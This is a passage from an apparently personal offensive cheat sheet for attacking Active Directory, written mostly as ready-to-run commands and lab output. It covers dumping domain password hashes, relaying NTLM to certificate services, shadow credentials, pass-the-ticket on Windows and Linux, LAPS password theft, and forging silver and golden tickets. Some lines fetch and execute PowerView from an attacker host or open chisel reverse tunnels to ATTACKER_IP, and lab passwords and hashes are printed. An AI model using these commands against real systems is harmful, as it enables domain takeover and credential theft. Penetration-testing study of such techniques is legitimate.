reg.exe save HKLM\SYSTEM
```
* Go back to the `cmd.exe` window with `ntdsutil` running, and `unmount` (and optionally `delete`) the snapshot and exit:
```
unmount
delete
quit
quit
```
* Using the two saved files (`NTDS.dit` and `SYSTEM` registry hive) you can use the same `secretsdump.py` script to extract password hashes offline (doesnβt need to be done on the domain controller):
```
secretsdump.py -system -ntds LOCAL
```
#### Secretsdump Local
* Exfil the registry hives
```
reg.exe save hklm\security C:\temp\security.save
reg.exe save hklm\system C:\temp\system.save
reg.exe save hklm\SAM C:\temp\sam.save
```
* Extract hashes from exfiled SECURITY SAM and SYSTEM
```
python3 secretsdump.py -security security.save -system system.save -sam sam.save LOCAL
```
#### Another Cheatsheet
*
### DCSync via Pass the Certificate (ADCS Relay)
When ADCS (Active Directory Certificate Services) exposes a web enrollment endpoint, relay NTLM authentication to request a certificate for the DC machine account.
**Step 1:** Start ntlmrelayx targeting the ADCS enrollment endpoint:
```bash
impacket-ntlmrelayx -t http://ADCS_IP/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
```
**Step 2:** Coerce the DC to authenticate to your relay using PrinterBug:
```bash
python3 printerbug.py DOMAIN/user:'password'@DC_IP ATTACKER_IP
```
**Step 3:** When the certificate is captured, convert it to a TGT:
```bash
python3 gettgtpkinit.py -cert-pfx /tmp/DC01.pfx -dc-ip DC_IP 'domain.local/dc01$' /tmp/dc.ccache
```
**Step 4:** Use the TGT to DCSync:
```bash
export KRB5CCNAME=/tmp/dc.ccache
impacket-secretsdump -k -no-pass -just-dc-user Administrator -dc-ip DC_IP DOMAIN/dc01\$@dc01.domain.local
```
***
### Shadow Credentials (msDS-KeyCredentialLink)
If you have write access to a user's `msDS-KeyCredentialLink` attribute (identify via BloodHound), use pywhisker to add a key credential and authenticate as that user.
**Step 1:** Add a shadow credential:
```bash
pywhisker --dc-ip DC_IP -d DOMAIN -u ATTACKER_USER -p 'PASSWORD' --target TARGET_USER --action add
```
**Step 2:** Use the generated PFX to get a TGT:
```bash
python3 gettgtpkinit.py -cert-pfx OUTPUT.pfx -pfx-pass 'PFX_PASSWORD' -dc-ip DC_IP DOMAIN/TARGET_USER /tmp/target.ccache
```
**Step 3:** Use the TGT:
```bash
export KRB5CCNAME=/tmp/target.ccache
evil-winrm -i dc01.domain.local -r domain.local
```
***
### Invoke-SMBExec β Remote Command Execution with Hash
```powershell
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
```
***
### Invoke-ShareFinder
```
Invoke-ShareFinder -Verbose
VERBOSE: [*] Running Invoke-ShareFinder with delay of 0
VERBOSE: [*] Querying domain rastalabs.local for hosts
VERBOSE: Get-DomainSearcher search string: LDAP://dc01.rastalabs.local/DC=rastalabs,DC=local
VERBOSE: Get-NetComputer filter : '(&(sAMAccountType=805306369)(dnshostname=*))'
VERBOSE: [*] Total number of hosts: 12
VERBOSE: Waiting for scanning threads to finish...
VERBOSE: All threads completed!
VERBOSE: [*] Total number of active hosts: 12
VERBOSE: [*] Enumerating server dc01.rastalabs.local (1 of 12)
\\dc01.rastalabs.local\ADMIN$ - Remote Admin
\\dc01.rastalabs.local\C$ - Default share
\\dc01.rastalabs.local\IPC$ - Remote IPC
\\dc01.rastalabs.local\NETLOGON - Logon server share
--snip--
```
# Overpass The Hash/Pass The Key (PTK)
## Overpass The Hash/Pass The Key (PTK)
By using [Impacket](https://github.com/SecureAuthCorp/impacket) examples:
```shell
# Request the TGT with hash
python getTGT.py / -hashes [lm_hash]:
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py / -aesKey
# Request the TGT with password
python getTGT.py /:[password]
# Set the TGT for impacket use
export KRB5CCNAME=
# Execute remote commands with any of the following by using the TGT
python psexec.py rastalabs.local/jack@10.10.10.1 -k -no-pass
python smbexec.py rastalabs.local/jack@10.10.10.1 -k -no-pass
python wmiexec.py rastalabs.local/jack@10.10.10.1 -k -no-pass
```
With [Rubeus](https://github.com/GhostPack/Rubeus) and [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec):
```shell
# Ask and inject the ticket
.\Rubeus.exe asktgt /domain: /user: /rc4: /ptt
# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\ cmd
```
* Impacketβs `psexec.py` offers `psexec` like functionality. This will give you an interactive shell on the Windows host. `psexec.py` also allows using Service Tickets, saved as a `ccache` file for Authentication. It can be obtained via Impacketβs `GetST.py`
* It is much easier to use variables
```
target=10.10.10.1
domain=test.local
username=john
export KRB5CCNAME=/full/path/to/john.ccache
python3 psexec.py $domain/$username@$target -k -no-pass
```
***
## Pass the Ticket - Mimikatz
### Export All Tickets
```
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
```
### Import .kirbi Ticket
```
mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
```
## Pass the Ticket - Rubeus
### Dump Tickets
```
Rubeus.exe dump /nowrap
```
### Request TGT and Inject (Pass the Key / OverPass the Hash)
```
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
```
### Import .kirbi
```
Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
```
### Create Sacrificial Logon Session + PtT
```
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
```
## PtT with PowerShell Remoting
```
mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
```
```powershell
Enter-PSSession -ComputerName DC01
```
## Convert .kirbi to Base64
```powershell
[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))
```
# LAPS
* Dump laps passwords if you have a user account with the rights to dump the laps passwords
* Enumerate users that can read the laps passwords with bloodhound
### lapsdumper.py
Usage:
Basic:
`$ python laps.py -u user -p password -d domain.local`
Pass the Hash, specific LDAP server:
`$ python laps.py -u user -p e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c -d domain.local -l dc01.domain.local`
### bloodyAD
If BloodHound shows the user can read LAPS passwords, query `ms-Mcs-AdmPwd` and `ms-Mcs-AdmPwdExpirationTime` directly:
```bash
bloodyAD --host DC_IP -d domain.local -u user -p 'PASSWORD' \
get search \
--filter '(ms-mcs-admpwdexpirationtime=*)' \
--attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
```
Example output:
```
distinguishedName: CN=DC01,OU=Domain Controllers,DC=domain,DC=local
ms-Mcs-AdmPwd: V,!31D;3&M+2h.
ms-Mcs-AdmPwdExpirationTime: 134260119643091883
```
Use the recovered local Administrator password with WinRM if the target permits it:
```bash
evil-winrm -i DC_IP -u Administrator -p 'V,!31D;3&M+2h.'
```
```
(new-object system.net.webclient).downloadstring('http://10.10.15.45/PowerView.ps1') | IEX
$SecPassword = ConvertTo-SecureString 'J5KCwKruINyCJBKd1dZU' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('RLAB\ngodfrey_adm',$SecPassword)
Get-DomainComputer ws01,ws02,ws03,ws04,ws05,ws06 -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime -Credential $Cred
Get-DomainComputer ws02 -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime -Credential $Cred
ms-mcs-admpwdexpirationtime ms-mcs-admpwd
--------------------------- -------------
ws01 133185858282921848 7Z74HKx6
ws02 133185858955408843 Khb3SL8p
ws03 133185859531299786 t25KAW60
ws04 133185860137129767 l0Q7i5Xd
ws05 133185860845564372 bzsn82zX
ws06 133185861369786402 vPKNz69a
```
### Powerview Dump
* Download Powersploit
```
https://github.com/PowerShellMafia/PowerSploit/tree/dev
```
* zip the dir up and transfer the whole thing to target
* expand on target with `expand-archive`
```
import-module .\PowerSploit.psd1
--or--
(new-object system.net.webclient).downloadstring('http://10.10.15.45/PowerView.ps1') | IEX
#now it is loaded into mem either with IEX or with the import-module
$SecPassword = ConvertTo-SecureString 'PASSWORD_HERE' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('RLAB\ngodfrey_adm',$SecPassword)
Get-DomainComputer ws01,ws02,ws03,ws04,ws05,ws06 -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime -Credential $Cred
Get-DomainComputer ws02 -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime -Credential $Cred
ms-mcs-admpwdexpirationtime ms-mcs-admpwd
--------------------------- -------------
ws01 133185858282921848 7Z74HKx6
ws02 133185858955408843 Khb3SL8p
ws03 133185859531299786 t25KAW60
ws04 133185860137129767 l0Q7i5Xd
ws05 133185860845564372 bzsn82zX
ws06 133185861369786402 vPKNz69a
```
# Pass the Ticket - Linux
## Overview
* Linux machines joined to AD store Kerberos tickets in two forms:
* **ccache files** β typically at `/tmp/krb5cc_*` (env var `KRB5CCNAME`)
* **keytab files** β `/etc/krb5.keytab` or custom `.keytab` / `.kt` files
## Identify Domain-Joined Linux
```
realm list
ps -ef | grep -i "winbind\|sssd"
```
## Find Keytab Files
```
find / -name *keytab* -ls 2>/dev/null
```
## Find ccache Files
```
env | grep -i krb5
ls -la /tmp
```
## List Keytab Entries
```
klist -k -t /opt/specialfiles/carlos.keytab
```
## Impersonate User with Keytab (kinit)
```
kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
klist
smbclient //dc01/carlos -k -c ls
```
## Extract Hashes from Keytab (KeyTabExtract)
```
python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab
```
## Abuse ccache Files (as root)
```
cp /tmp/krb5cc_647401106_I8I133 .
export KRB5CCNAME=/root/krb5cc_647401106_I8I133
klist
smbclient //dc01/C$ -k -c 'ls'
```
## Convert ccache to kirbi
```
impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi
```
## Import kirbi on Windows (Rubeus)
```
Rubeus.exe ptt /ticket:c:\tools\julio.kirbi
```
## Impacket with Kerberos + Proxychains
```
proxychains impacket-wmiexec dc01 -k
```
## Evil-WinRM with Kerberos
```
sudo apt-get install krb5-user -y
proxychains evil-winrm -i dc01 -r inlanefreight.htb
```
## Linikatz (Linux Credential Extraction)
```
wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
/opt/linikatz.sh
```
## Chisel + Proxychains Pivot Setup
```
sudo ./chisel server --reverse
```
```
c:\tools\chisel.exe client 10.10.14.33:8080 R:socks
```
```
export KRB5CCNAME=/home/htb-student/krb5cc_647401106_I8I133
```
# Pass the Certificate
## Overview
* Abuse Active Directory Certificate Services (ADCS) to obtain certificates that can be used for authentication
* Most common: ESC8 (NTLM relay to ADCS web enrollment)
## ESC8 - NTLM Relay to ADCS Web Enrollment
### Set Up Relay
```bash
# Template depends on target - DomainController for DCs, KerberosAuthentication for others
ntlmrelayx.py -debug -smb2support --target http:///certsrv/certfnsh.asp --adcs --template DomainController
```
### Coerce Authentication
```bash
# PetitPotam (MS-EFSRPC) - often works unauthenticated
python3 PetitPotam.py
# Printer Bug (MS-RPRN) - requires valid creds
python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:"package5shores_topher1"@10.129.234.109 10.10.16.12
```
### Obtain TGT from Certificate
```bash
python3 gettgtpkinit.py / -cert-pfx -dc-ip dc.ccache
```
### DCSync with Machine Account TGT
```bash
export KRB5CCNAME=dc.ccache
secretsdump.py -just-dc-user /administrator -k -no-pass
```
### Alternative: Get NT Hash Directly from TGT
```bash
python3 getnthash.py -key /
```
### Certipy (All-in-One Alternative)
```bash
certipy auth -pfx -dc-ip -domain
# If PKINIT fails (DC doesn't support it), fall back to ldap-shell
certipy auth -pfx -dc-ip -ldap-shell
```
### Windows: Rubeus with Certificate
```powershell
.\Rubeus.exe asktgt /user: /certificate: /ptt
```
## Shadow Credentials (msDS-KeyCredentialLink)
### Add Shadow Credential (Linux)
```bash
pywhisker --dc-ip -d -u -p '' --target --action add
```
### Obtain TGT from Shadow Credential PFX
```bash
python3 gettgtpkinit.py -cert-pfx -pfx-pass '' -dc-ip / /tmp/target.ccache
```
### Use the TGT
```bash
export KRB5CCNAME=/tmp/target.ccache
evil-winrm -i -r
```
# Rubeus to Ccache
### Method 1
* Normally Rubeus outputs the tickets in Base64-encoded .kirbi format, .kirbi being the type of file commonly used by [Mimikatz](https://github.com/gentilkiwi/mimikatz).
* Impacket tools use the .ccache file format to represent Kerberos tickets
* Convert tickets with the impacket built in converter (still need to convert Rubeus output from base64 to .kirbi before using `ticketConverter.py`
```
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64RubeusTGT))
```
*
### Method 2
* **Rubeus to Ccache**
* Pass the script the base64 blob and you will get a ticket in both formats
* Ensure you export the proper env variable before trying to convert
```
export KRB5CCNAME=shiny_new_ticket.ccache
```
* Then you can use most Impacket tools like this:
* `wmiexec.py domain/user@192.168.1.1 -k -no-pass`, where the `-k` flag indicates the use of Kerberos tickets for authentication.
* Tool:
# Silver Ticket
## Silver ticket
With [Impacket](https://github.com/SecureAuthCorp/impacket) examples:
```shell
# To generate the TGS with NTLM
python ticketer.py -nthash -domain-sid -domain -spn
# To generate the TGS with AES key
python ticketer.py -aesKey -domain-sid -domain -spn
# Set the ticket for impacket use
export KRB5CCNAME=
# Execute remote commands with any of the following by using the TGT
python psexec.py /@ -k -no-pass
python smbexec.py /@ -k -no-pass
python wmiexec.py /@ -k -no-pass
```
With [Mimikatz](https://github.com/gentilkiwi/mimikatz):
```shell
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:/sid: /rc4: /user: /service: /target:
# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:/sid: /aes128: /user: /service: /target:
# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:/sid: /aes256: /user: /service: /target:
# Inject TGS with Mimikatz
mimikatz # kerberos::ptt
```
Inject ticket with [Rubeus](https://github.com/GhostPack/Rubeus):
```shell
.\Rubeus.exe ptt /ticket:
```
Execute a cmd in the remote machine with [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec):
```shell
.\PsExec.exe -accepteula \\ cmd
```
## MSSQL Service Silver Ticket
If you recover a service account password/hash for an MSSQL SPN but the SQL login does not have enough privilege for actions such as enabling `xp_cmdshell`, forge a ticket for that exact SPN as `Administrator` or another high-privilege user. This can turn a low-privileged MSSQL login into an administrative MSSQL session if the service ticket is accepted.
Convert the service account password to NTLM, then create the ticket:
```bash
impacket-ticketer -nthash NTLM_HASH \
-domain-sid DOMAIN_SID \
-domain DOMAIN \
-spn mssql/SQL_HOST_FQDN \
Administrator
```
Nagoya example, using service password `changeme123`:
```
changeme123 -> 2AD421D6036D46E5CA5AA1F14922EAF4
```
```bash
impacket-ticketer -nthash 2AD421D6036D46E5CA5AA1F14922EAF4 \
-domain-sid S-1-5-21-1969309164-1513403977-1686805993 \
-domain nagoya-industries.com \
-spn mssql/nagoya.nagoya-industries.com \
Administrator
```
Create a minimal Kerberos config that avoids hostname canonicalization changing the SPN target:
```bash
cat > /tmp/krb5-no-canon.conf <<'EOF'
[libdefaults]
default_realm = DOMAIN_UPPER
dns_canonicalize_hostname = false
rdns = false
[domain_realm]
.domain.local = DOMAIN_UPPER
domain.local = DOMAIN_UPPER
EOF
```
Nagoya example:
```bash
cat > /tmp/krb5-no-canon.conf <<'EOF'
[libdefaults]
default_realm = NAGOYA-INDUSTRIES.COM
dns_canonicalize_hostname = false
rdns = false
[domain_realm]
.nagoya-industries.com = NAGOYA-INDUSTRIES.COM
nagoya-industries.com = NAGOYA-INDUSTRIES.COM
EOF
```
Use the generated ccache. The hostname after `@` in `mssqlclient` must match the forged SPN host:
```bash
export KRB5_CONFIG=/tmp/krb5-no-canon.conf
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient DOMAIN/Administrator@SQL_HOST_FQDN -target-ip 127.0.0.1 -windows-auth -k -no-pass
```
With a forged MSSQL silver ticket, use Kerberos auth and make the hostname match the SPN used in the ticket: Nagoya example:
```bash
export KRB5_CONFIG=/tmp/krb5-no-canon.conf
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient nagoya-industries.com/Administrator@nagoya.nagoya-industries.com -target-ip 127.0.0.1 -windows-auth -k -no-pass
```
After connecting as an administrative SQL user, enable and use `xp_cmdshell`:
```sql
enable_xp_cmdshell
xp_cmdshell whoami
```
If MSSQL is only reachable locally on the target, reverse-forward it first, for example:
```bash
./chisel server --port 8080 --reverse
.\chisel.exe client ATTACKER_IP:8080 R:1433:127.0.0.1:1433
```
Nagoya example:
```bash
./chisel server --port 8080 --reverse
.\chisel.exe client 192.168.45.240:8080 R:1433:127.0.0.1:1433
```
# Golden Ticket
## Golden ticket
With [Impacket](https://github.com/SecureAuthCorp/impacket) examples:
```shell
# To generate the TGT with NTLM
python ticketer.py -nthash -domain-sid -domain
# To generate the TGT with AES key
python ticketer.py -aesKey -domain-sid -domain
# Set the ticket for impacket use
export KRB5CCNAME=
# Execute remote commands with any of the following by using the TGT
python psexec.py /@ -k -no-pass
python smbexec.py /@ -k -no-pass
python wmiexec.py /@ -k -no-pass
```
With [Mimikatz](https://github.com/gentilkiwi/mimikatz):
```shell
# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain: 
